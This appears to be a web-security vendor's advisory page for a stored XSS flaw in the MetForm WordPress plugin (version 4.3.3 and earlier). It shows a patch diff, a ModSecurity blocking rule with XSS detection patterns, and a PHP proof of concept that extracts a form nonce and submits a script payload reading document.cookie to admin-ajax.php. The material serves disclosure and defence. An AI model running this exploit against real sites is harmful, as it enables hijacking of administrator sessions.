             update_post_meta($form_id, 'mf_zoho_fields', wp_json_encode( $zoho_fields ) );
         }
+
+        if(isset($form_setting['mf_leadsquared'])){
+            $ls_fields = isset($form_setting['mf-leadsquared-custom-fields']) && isset($form_setting['mf-leadsquared-form-fields'])
+                ? array_combine(
+                    array_map('sanitize_text_field', $form_setting['mf-leadsquared-custom-fields']),
+                    array_map('sanitize_text_field', $form_setting['mf-leadsquared-form-fields'])
+                )
+                : '';
+            update_post_meta($form_id, 'mf_leadsquared_fields', wp_json_encode($ls_fields));
+
+            $ls_static = '';
+            if(isset($form_setting['mf-leadsquared-static-attr']) && isset($form_setting['mf-leadsquared-static-val'])){
+                $ls_static = array_combine(
+                    array_map('sanitize_text_field', $form_setting['mf-leadsquared-static-attr']),
+                    array_map('sanitize_text_field', $form_setting['mf-leadsquared-static-val'])
+                );
+            }
+            update_post_meta($form_id, 'mf_leadsquared_static', wp_json_encode($ls_static));
+        }


         // Push the for type settings inside the form setting array
@@ -451,12 +470,6 @@
         exit();
     }

-    public function post_views()
-    {
-        $form_id = $this->request['id'];
-        return Action::instance()->count_views($form_id);
-    }
-
     /**
      * Store hubspot forms
      */
--- a/metform/core/forms/builder.php
+++ b/metform/core/forms/builder.php
@@ -40,6 +40,38 @@
 	const META_CLONED_ID = '_metform_cloned_id';

 	/**
+	 * Whether a user may create and publish forms.
+	 *
+	 * Forms are registered with `capability_type => 'page'`, so this resolves
+	 * to `edit_pages` + `publish_pages` (Editor and Administrator by default).
+	 * Contributors and Authors only have the post-level capabilities and are
+	 * refused.
+	 *
+	 * @since 4.3.4
+	 *
+	 * @param int|null $user_id Optional. User ID to check. Defaults to the current user.
+	 * @return bool True when the user may create forms.
+	 */
+	public static function can_create_forms( $user_id = null ) {
+		$post_type = get_post_type_object( Base::instance()->form->get_name() );
+		$caps      = $post_type
+			? [ $post_type->cap->create_posts, $post_type->cap->publish_posts ]
+			: [ 'edit_pages', 'publish_pages' ];
+
+		foreach ( $caps as $cap ) {
+			$allowed = null === $user_id
+				? current_user_can( $cap )
+				: user_can( (int) $user_id, $cap );
+
+			if ( ! $allowed ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
 	 * Redirect to a form's editor.
 	 *
 	 * @param int $form_id Form post ID.
@@ -103,9 +135,20 @@
 	 *     @type array  $template_content  Processed Elementor element tree.
 	 *     @type array  $template_settings MetForm settings from the template.
 	 * }
-	 * @return int|WP_Error Created form post ID, or an error when insertion fails.
+	 * @return int|WP_Error Created form post ID, or an error when the user may
+	 *                       not create forms or insertion fails.
 	 */
 	public function create_form( $title, $template_id = 0, $data = [] ) {
+		// Forms are inserted as published, so every caller must be allowed to
+		// publish this post type. Checked here so no entry point can skip it.
+		if ( ! self::can_create_forms() ) {
+			return new WP_Error(
+				'metform_forbidden',
+				esc_html__( 'You are not allowed to create forms.', 'metform' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		$data              = is_array( $data ) ? $data : [];
 		$template_content  = isset( $data['template_content'] ) && is_array( $data['template_content'] ) ? $data['template_content'] : null;
 		$template_settings = isset( $data['template_settings'] ) && is_array( $data['template_settings'] ) ? $data['template_settings'] : [];
--- a/metform/core/forms/cpt.php
+++ b/metform/core/forms/cpt.php
@@ -244,14 +244,14 @@
             'mf_stripe_test_secret_key' => [
                 'name' => 'mf_stripe_test_secret_key',
             ],
-			'mf_stripe_live_webhook_secret' => [
-				'name' => 'mf_stripe_live_webhook_secret',
-			],
-			'mf_stripe_test_webhook_secret' => [
-				'name' => 'mf_stripe_test_webhook_secret',
-			],
-            'mf_payment_submit_before_payment' => [
-                'name' => 'mf_payment_submit_before_payment',
+			'mf_stripe_live_webhook_secret' => [
+				'name' => 'mf_stripe_live_webhook_secret',
+			],
+			'mf_stripe_test_webhook_secret' => [
+				'name' => 'mf_stripe_test_webhook_secret',
+			],
+            'mf_payment_submit_before_payment' => [
+                'name' => 'mf_payment_submit_before_payment',
             ],
             'mf_google_map_api_key' => [
                 'name' => 'mf_google_map_api_key',
@@ -453,6 +453,16 @@
             'mf_helpscout_conversation_customer_message' => [
                 'name' => 'mf_helpscout_conversation_customer_message'
             ],
+            // LeadSquared
+            'mf_leadsquared' => [
+                'name' => 'mf_leadsquared'
+            ],
+            'mf_leadsquared_fields' => [
+                'name' => 'mf_leadsquared_fields'
+            ],
+            'mf_leadsquared_static' => [
+                'name' => 'mf_leadsquared_static'
+            ],
             // google sheet
             'mf_google_sheet' => [
                 'name' => 'mf_google_sheet'
--- a/metform/core/forms/hooks.php
+++ b/metform/core/forms/hooks.php
@@ -122,14 +122,18 @@
 				$current_url = admin_url();
 				$current_url .= "edit.php?post_type=metform-entry&mf_form_id=" . esc_attr($post_id);

-				$rest_url = get_rest_url();
-				$mf_ex_nonce = wp_create_nonce('wp_rest');
-				$url = $rest_url . "metform/v1/entries/export/" . $post_id;
-				$export_url = MetFormUtilsUtil::add_param_url($url, "_wpnonce", $mf_ex_nonce);
+				/**
+				 * URL of the CSV export for this form. MetForm Pro provides it;
+				 * without one, a "Pro" placeholder is shown instead.
+				 *
+				 * @param string $export_url
+				 * @param int    $post_id
+				 */
+				$export_url = apply_filters('metform/forms/list/csv_export_url', '', $post_id);

 			?>
-				<a data-metform-form-id="<?php echo esc_attr($post_id); ?>" class='<?php echo class_exists('MetForm_ProPlugin') || $this->is_old_user() ? esc_attr("") : esc_attr("mf-entry-count-btn"); ?>  attr-btn attr-btn-primary mf-entry-filter' href="<?php echo esc_url($current_url); ?>"><?php echo esc_html($count); ?></a>
-				<?php if (class_exists('MetForm_ProPlugin') || $this->is_old_user()) : ?>
+				<a data-metform-form-id="<?php echo esc_attr($post_id); ?>" class='<?php echo $export_url ? esc_attr("") : esc_attr("mf-entry-count-btn"); ?>  attr-btn attr-btn-primary mf-entry-filter' href="<?php echo esc_url($current_url); ?>"><?php echo esc_html($count); ?></a>
+				<?php if ($export_url) : ?>
 					<a class='attr-btn attr-btn-primary mf-entry-export-csv' href="<?php echo esc_url($export_url); ?>"><svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
 							<path d="M2.6665 8.66665V2.66811C2.6665 1.93115 3.26436 1.33396 4.00132 1.33478L8.6637 1.33997L13.3332 5.99998V8.66665M8.6665 1.66665V4.66665C8.6665 5.40303 9.26344 5.99998 9.99984 5.99998H12.9998" stroke="#585960" stroke-linecap="round" stroke-linejoin="round" />
 							<path d="M8.6665 10.6667H7.33317C6.96497 10.6667 6.6665 10.9652 6.6665 11.3334V12C6.6665 12.3682 6.96497 12.6667 7.33317 12.6667H7.99984C8.36804 12.6667 8.6665 12.9652 8.6665 13.3334V14C8.6665 14.3682 8.36804 14.6667 7.99984 14.6667H6.6665M10.3332 10.6667L11.8332 14.6667L13.3332 10.6667M4.99984 14C4.99984 14.3682 4.70136 14.6667 4.33317 14.6667H3.33317C2.96498 14.6667 2.6665 14.3682 2.6665 14V11.3334C2.6665 10.9652 2.96498 10.6667 3.33317 10.6667H4.33317C4.70136 10.6667 4.99984 10.9652 4.99984 11.3334" stroke="#585960" stroke-linecap="round" stroke-linejoin="round" />
@@ -259,20 +263,4 @@
 				break;
 		}
 	}
-
-	/**
-	 * Check if the user is old user
-	 */
-	public function is_old_user()
-	{
-
-		$install_date = get_option('metform_install_date', false);
-
-		//if install date before 23 november 2025 then it is old user
-		if ($install_date && strtotime($install_date) < strtotime('2025-11-23')) {
-			return true;
-		}
-
-		return false;
-	}
 }
 No newline at end of file
--- a/metform/core/forms/views/modal-editor.php
+++ b/metform/core/forms/views/modal-editor.php
@@ -56,6 +56,29 @@
                 <?php
             }
         }
+
+        if(!function_exists('mf_pro_setting_slot')){
+            /**
+             * Settings controls that MetForm Pro provides. Pro outputs the real
+             * controls through `metform/form_settings/slot/{$slot}`; without it
+             * the "Pro" placeholders are shown.
+             *
+             * @param string $slot
+             * @param array  $placeholders Arguments for mf_dummy_switch_input(), one per placeholder.
+             */
+            function mf_pro_setting_slot( $slot, array $placeholders ){
+                $hook = 'metform/form_settings/slot/' . $slot;
+
+                if ( has_action( $hook ) ) {
+                    do_action( $hook );
+                    return;
+                }
+
+                foreach ( $placeholders as $args ) {
+                    mf_dummy_switch_input( $args );
+                }
+            }
+        }
 ?>

 <div class="attr-modal attr-fade" id="metform_form_modal" tabindex="-1" role="dialog" aria-labelledby="metform_form_modalLabel" style="display:none;">
@@ -126,37 +149,21 @@
                                 ]); ?>
                             <?php endif; ?>

-                            <?php if(MetFormUtilsUtil::is_using_feature('require_login') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="require_login" class="mf-admin-control-input mf-form-modalinput-require_login">
-                                    <span><?php esc_html_e('Required Login:', 'metform'); ?></span>
-                                </label>
-                                <span class='mf-input-help'><?php esc_html_e('Without login, users can't submit the form.', 'metform'); ?></span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('require_login', [
+                                [
                                     'label' => __('Required Login', 'metform'),
                                     'help' => __('Without login, users can't submit the form.', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>

-                            <?php if(MetFormUtilsUtil::is_using_feature('capture_user_browser_data') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="capture_user_browser_data" class="mf-admin-control-input mf-form-modalinput-capture_user_browser_data">
-                                    <span><?php esc_html_e('Capture User Browser Data:', 'metform'); ?></span>
-                                </label>
-                                <span class='mf-input-help'><?php esc_html_e('Store user's browser data (ip, browser name, etc)', 'metform'); ?></span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('capture_browser_data', [
+                                [
                                     'label' => __('Capture User Browser Data', 'metform'),
                                     'help' => __('Store user's browser data (ip, browser name, etc)', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>

                             <div class="mf-input-group mf-box-style">
                                 <label class="attr-input-label">
@@ -182,26 +189,13 @@
                                 </div>
                             </div>

-                            <?php if(MetFormUtilsUtil::is_using_feature('limit_total_entries_status') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <div class="mf-input-group-inner">
-                                    <label class="attr-input-label">
-                                        <input type="checkbox" value="1" name="limit_total_entries_status" class="mf-admin-control-input mf-form-modalinput-limit_status">
-                                        <span><?php esc_html_e('Limit Total Entries:', 'metform'); ?></span>
-                                    </label>
-                                    <div class="mf-input-group" id='limit_status'>
-                                        <input type="number" min="1" name="limit_total_entries" class="mf-form-modalinput-limit_total_entries attr-form-control">
-                                    </div>
-                                </div>
-                                <span class='mf-input-help mf-limit-help'><?php esc_html_e('Limit the total number of submissions for this form.', 'metform'); ?></span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('limit_total_entries', [
+                                [
                                     'label' => __('Limit Total Entries', 'metform'),
                                     'help' => __('Limit the total number of submissions for this form.', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>
                             <?php if(class_exists('MetForm_ProBasePackage') ): ?>
                             <div class="mf-input-group mf-box-style">
                                 <label class="attr-input-label">
@@ -252,21 +246,13 @@
                                     'badge' => __('Pro', 'metform'),
                                 ]); ?>
                             <?php endif; ?>
-                            <?php if(MetFormUtilsUtil::is_using_feature('count_views') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="count_views" class="mf-admin-control-input mf-form-modalinput-count_views">
-                                    <span><?php esc_html_e('Count views:', 'metform'); ?></span>
-                                </label>
-                                <span class='mf-input-help'><?php esc_html_e('Track form views.', 'metform'); ?></span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('count_views', [
+                                [
                                     'label' => __('Count views', 'metform'),
                                     'help' => __('Track form views.', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>

                             <?php if( class_exists('MetForm_ProBasePackage') && ( MetFormUtilsUtil::is_mid_tier() || MetFormUtilsUtil::is_top_tier() ) ): ?>
                             <div class="mf-input-group mf-box-style">
@@ -284,21 +270,13 @@
                                 ]); ?>
                             <?php endif; ?>

-                            <?php if( MetFormUtilsUtil::is_using_feature('mf_stop_vertical_scrolling') || ( class_exists('MetForm_ProBasePackage') && (MetFormUtilsUtil::is_old_pro_user() || MetFormUtilsUtil::is_mid_tier() || MetFormUtilsUtil::is_top_tier()))): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="mf_stop_vertical_scrolling" class="mf-admin-control-input mf-form-modalinput-stop_vertical_scrolling">
-                                    <span><?php esc_html_e('Stop Vertical Scrolling:', 'metform'); ?></span>
-                                </label>
-                                <span class='mf-input-help'><?php esc_html_e('Stop scrolling effect when submitting the form.', 'metform'); ?></span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('stop_vertical_scrolling', [
+                                [
                                     'label' => __('Stop Vertical Scrolling', 'metform'),
                                     'help' => __('Stop scrolling effect when submitting the form.', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>

                             <div class="mf-input-group mf-form-top-spacing" style="margin-bottom: <?php echo esc_attr($bottom_margin); ?>";>
                                 <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Redirect To:', 'metform'); ?></label>
@@ -334,66 +312,17 @@
                     </div>
                     <div role="tabpanel" class="attr-tab-pane" id="mf-confirmation">
                         <div class="attr-modal-body" id="metform_form_modal_body">
-                            <?php if(MetFormUtilsUtil::is_using_feature('enable_user_notification') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="enable_user_notification" class="mf-admin-control-input mf-form-user-enable">
-                                    <span><?php esc_html_e('Confirmation mail to user :', 'metform'); ?></span>
-                                </label>
-                                <span class='mf-input-help'>
-                                    <?php esc_html_e('Want to send a submission copy to user by email? Active this one. ', 'metform'); ?>
-                                    <strong><?php esc_html_e('This form must include at least one required Email field.', 'metform'); ?></strong>
-                                </span>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('user_confirmation', [
+                                [
                                     'label' => __('Confirmation mail to user', 'metform'),
                                     'help' => __('Want to send a submission copy to user by email? Active this one. This form must include at least one required Email field.', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
-
-                            <div class="mf-input-group mf-form-user-confirmation ">
-                                <?php do_action('after_confirmation_mail_to_user_switch'); ?>
-                            </div>
-
-                            <div class="mf-input-group mf-form-user-confirmation mf-form-top-spacing mf-form-bottom-spacing">
-                                <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Email Subject:', 'metform'); ?></label>
-                                <input type="text" name="user_email_subject" class="mf-form-user-email-subject attr-form-control" placeholder="<?php esc_html_e('Email subject', 'metform'); ?>">
-                                <span class='mf-input-help'><?php esc_html_e('Enter here email subject.', 'metform'); ?></span>
-                            </div>
-
-                            <div class="mf-input-group mf-form-user-confirmation mf-form-bottom-spacing">
-                                <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Email From:', 'metform'); ?></label>
-                                <input type="email" name="user_email_from" class="mf-form-user-email-from attr-form-control" placeholder="<?php esc_html_e('From email', 'metform'); ?>">
-                                <span class='mf-input-help'><?php esc_html_e('Enter the email by which you want to send email to user.', 'metform'); ?></span>
-                            </div>
-
-                            <div class="mf-input-group mf-form-user-confirmation mf-form-bottom-spacing">
-                                <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Email Reply To:', 'metform'); ?></label>
-                                <input type="email" name="user_email_reply_to" class="mf-form-user-reply-to attr-form-control" placeholder="<?php esc_html_e('Reply to email', 'metform'); ?>">
-                                <span class='mf-input-help'><?php esc_html_e('Enter email where user can reply/ you want to get reply.', 'metform'); ?></span>
-                            </div>
-
-                            <div class="mf-input-group mf-form-user-confirmation mf-form-bottom-spacing">
-                                <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Thank you message :', 'metform'); ?></label>
-                                <textarea name="user_email_body" id="" class="mf-form-user-email-body attr-form-control" cols="30" rows="3" placeholder="<?php esc_html_e('Thank you message!', 'metform'); ?>"></textarea>
-                                <span class='mf-input-help'><?php esc_html_e('Enter here your message to include it in email body. Which will be send to user.', 'metform'); ?></span>
-                            </div>
-
-                            <?php if(MetFormUtilsUtil::is_using_feature('user_email_attach_submission_copy') || class_exists('MetForm_ProBasePackage')): ?>
-                            <div class="mf-input-group mf-box-style">
-                                <label class="attr-input-label">
-                                    <input type="checkbox" value="1" name="user_email_attach_submission_copy" class="mf-admin-control-input mf-form-user-submission-copy">
-                                    <span><?php esc_html_e('Want to send a copy of submitted form to user ?', 'metform'); ?></span>
-                                </label>
-                            </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                                ],
+                                [
                                     'label' => __('Want to send a copy of submitted form to user ?', 'metform'),
                                     'badge' => __('Pro', 'metform'),
-                                ]); ?>
-                            <?php endif; ?>
+                                ],
+                            ]); ?>

                             <?php if ( ! class_exists('MetForm_ProBasePackage') ) :
                                 mf_dummy_switch_input([
@@ -529,63 +458,21 @@
                                 ]); ?>
                             <?php endif; ?>

-                            <?php if ( class_exists('MetForm_ProBasePackage') || MetFormUtilsUtil::is_using_settings_option('mf_mailchimp_api_key')) : ?>
-                                <div class="mf-box-style">
-                                    <div class="mf-input-group">
-                                        <label class="attr-input-label">
-                                            <input type="checkbox" value="1" name="mf_mail_chimp" class="mf-admin-control-input mf-form-modalinput-mail_chimp">
-                                            <span><?php esc_html_e('Mail Chimp:', 'metform'); ?></span>
-                                        </label>
-                                        <span class='mf-input-help'><?php esc_html_e('Integrate mailchimp with this form. ', 'metform'); ?><strong><?php esc_html_e('This form must include at least one required Email field. ', 'metform'); ?><a target="_blank" href="<?php echo esc_url(get_dashboard_url()) . 'admin.php?page=metform-menu-settings#mf-newsletter_integration'; ?>"><?php esc_html_e('Configure Mail Chimp.', 'metform'); ?></a></strong></span>
-                                    </div>
-
-                                    <div class="mf-input-group mf-mailchimp mf-form-top-spacing" style="margin-bottom: 4px;">
-                                        <label for="attr-input-label" class="attr-input-label">
-                                            <span><?php esc_html_e('MailChimp List ID:', 'metform'); ?></span>
-                                            <span class="refresh-icon">
-                                                <svg xmlns="http://www.w3.org/2000/svg" width="14" height="13" fill="none" class="metfrom-btn-refresh-mailchimp-list">
-                                                    <?php MetFormUtilsUtil::metform_content_renderer( $refresh_icon_path); ?>
-                                                </svg>
-                                            </span>
-                                        </label>
-
-                                        <select class="attr-form-control mailchimp_list">
-
-                                        </select>
-                                        <input type="hidden" name="mf_mailchimp_list_id" class="mf-mailchimp-list-id attr-form-control" placeholder="<?php esc_html_e('Mailchimp contact list id', 'metform'); ?>">
-                                    </div>
-                                </div>
-                            <?php else: ?>
-                                <?php mf_dummy_switch_input([
+                            <?php mf_pro_setting_slot('mailchimp', [
+                                [
                             

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-116619
# This rule blocks the XSS exploit targeting the MetForm form submission endpoint.
# It matches the specific AJAX action and scans for script tags in the submitted data.
# Example confidence: low, because legitimate rich text may contain script-like strings.
# However, this is a typical approach; adjust as needed.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026116619,phase:2,deny,status:403,chain,msg:'CVE-2026-116619 via MetForm Text Editor XSS',severity:'CRITICAL',tag:'CVE-2026-116619'"
  SecRule ARGS_POST:action "@streq metform_form_submit" "chain"
    SecRule ARGS_POST:form_data "@rx <script|onerror=|onload=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-116619 - MetForm <= 4.3.3 - Unauthenticated Stored XSS via Text Editor Field Value

// This PoC exploits the vulnerability by submitting a malicious payload to a MetForm form.
// Configuration: Replace with your target site and the ID of a published form that contains a Text Editor field.

$target_url = 'http://example.com'; // Target WordPress site
$form_id = 1; // The ID of the form containing a Text Editor field ($form_id)

// The payload to inject. This is a simple alert for demonstration.
// In a real attack, this could steal cookies or perform admin actions.
$payload = '<script>alert(document.cookie);</script>';

// Step 1: Fetch the form page to extract the form nonce and other necessary data.
$form_page = file_get_contents($target_url . '/?page_id=' . $form_id); // Adjust the page URL as needed
if (!$form_page) {
    die("Failed to retrieve form page.n");
}

// Extract the nonce from the data-form-nonce attribute.
$nonce_pattern = '/data-form-nonce="([^"]+)"/';
preg_match($nonce_pattern, $form_page, $matches);
if (empty($matches[1])) {
    die("Could not find form nonce.n");
}
$form_nonce = $matches[1];

// Step 2: Build the form data array. The exact structure depends on the form configuration.
// For a Text Editor field, the field name is typically 'mf-text-editor' (or similar).
// We need to include all required fields to pass validation.
$form_data = [
    'form_id' => $form_id,
    'nonce' => $form_nonce,
    // Include the Text Editor field with the payload.
    // The field name would be the key of the field in the form data.
    // Assuming the Text Editor field has the name 'mf-text-editor'.
    'mf-text-editor' => $payload,
    // Add other fields if required (e.g., email, name).
    // For a real exploit, you would need to inspect the form HTML to determine required fields.
    // 'mf-email' => 'attacker@example.com',
];

// Step 3: Send the POST request to the admin-ajax.php endpoint.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'metform_form_submit',
    'form_id' => $form_id,
    'form_data' => json_encode($form_data), // Form data is typically JSON-encoded.
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    $response_data = json_decode($response, true);
    if (isset($response_data['status']) && $response_data['status'] == 1) {
        echo "Payload submitted successfully! The entry is stored.n";
        echo "To trigger the XSS, log in as an administrator and view the entry with ID: " . ($response_data['data']['entry_id'] ?? 'unknown') . "n";
    } else {
        echo "Submission may have failed. Response: " . $response . "n";
    }
} else {
    echo "HTTP request failed with code: $http_coden";
}

// Note: The actual field names and required parameters must be adjusted based on the target form.
// This PoC is for educational purposes only. Use only on systems you own or have permission to test.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.